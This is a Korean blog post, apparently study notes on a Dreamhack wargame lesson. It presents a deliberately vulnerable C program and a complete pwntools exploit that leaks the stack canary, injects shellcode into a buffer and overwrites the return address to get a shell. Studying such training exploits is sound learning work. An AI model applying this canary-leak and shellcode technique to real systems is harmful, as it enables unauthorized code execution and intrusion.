일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- c
- 머신러닝
- 웹페이지 만들기
- 파이썬
- Python
- hackctf
- 풀이
- PHP 웹페이지 만들기
- BOJ Python
- 백준
- 숙명여자대학교 정보보안 동아리
- c++
- 기계학습
- The Loard of BOF
- Javascript
- C언어
- siss
- BOJ
- SWEA
- WarGame
- 자료구조 복습
- HTML
- hackerrank
- lob
- 드림핵
- 숙명여자대학교 정보보안동아리
- Sookmyung Information Security Study
- XSS Game
- 생활코딩
- CSS
- Today
- Total
혜랑's STORY
[System Hacking STAGE 5] Exploit Tech: Return to Shellcode 본문
[System Hacking STAGE 5] Exploit Tech: Return to Shellcode
hyerang0125 2022. 1. 27. 15:48셸코드와 Return Address Overwrite을 이용하여 셸을 획득하는 실습을 해보자.
예제 코드; r2s.c
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
보호기법 탐지
리눅스에는 다양한 바이너리 보호기법이 존재한다. 적용된 보호기법에 따라 익스플로잇 설계가 달라지므로, 분석을 시도하기 전에 먼저 적용된 보호기법을 파악하는 것이 좋다.
보호기법을 파악할 때 주로 사용하는 툴은 checksec이다. pwntools를 설치할 때 같이 설치되어 ~/.local/bin/checksec에 위치한다. checksec을 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.
checksec을 통해 파악할 수 있는 보호기법은 RELRO, Canary, NX, PIE 4가지가 있다. r2s 바이너리는 카나라가 적용되어 있다는 것을 알 수 있다.
취약점 탐색
1. buf의 주소
이 예제에서는 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려주고 있다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
2. 스택 버퍼 오버플로우
코드를 살펴보면 스택 버퍼인 buf에 총 두번의 입력을 받는다. 두 입력 모두에서 오버플로우가 발생한다.
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf); // Unsafe function
이 취약점들을 이용하여 셸을 획득해야 한다.
익스플로잇 시나리오
1. 카나리 우회
두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번쨰 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.
첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에 buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
2. 셸 획득
카나리를 구하면 두 번째 입력으로 반환 주소를 덮을 수 있다. 현재 바이너리에는 셸을 획득해주는 함수가 없으므로 셸을 획득하는 코드를 직접 주입하고 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있다.
익스플로잇
스택 프레임 정보 수집
스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 이 예쩨에서는 스택 프레임에서의 buf 위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.
r2S.py 코드
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
코드를 실행한 결과이다.
카나리 릭
스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야 한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 떄 카나리가 같이 출력될 것이다.
스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.
추가할 코드
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
카나리 릭을 성공하였다.
익스플로잇
카나리를 구했으므로 이제 buf에 셸코드를 주입하고 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게 할 수 있다.
익스플로잇 코드
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
셸을 성공적으로 획득하였다.
'무지성 공부방 > Dreamhack SystemHacking' 카테고리의 다른 글
[System Hacking STAGE 5] ssp_001 (0) | 2022.01.30 |
---|---|
[System Hacking STAGE 5] ssp_000 (0) | 2022.01.30 |
[System Hacking STAGE 5] Mitigation: Stack Canary (0) | 2022.01.27 |
[System Hacking STAGE 4] basic_exploitation_001 (0) | 2022.01.27 |
[System Hacking STAGE 4] basic_exploitation_000 (0) | 2022.01.27 |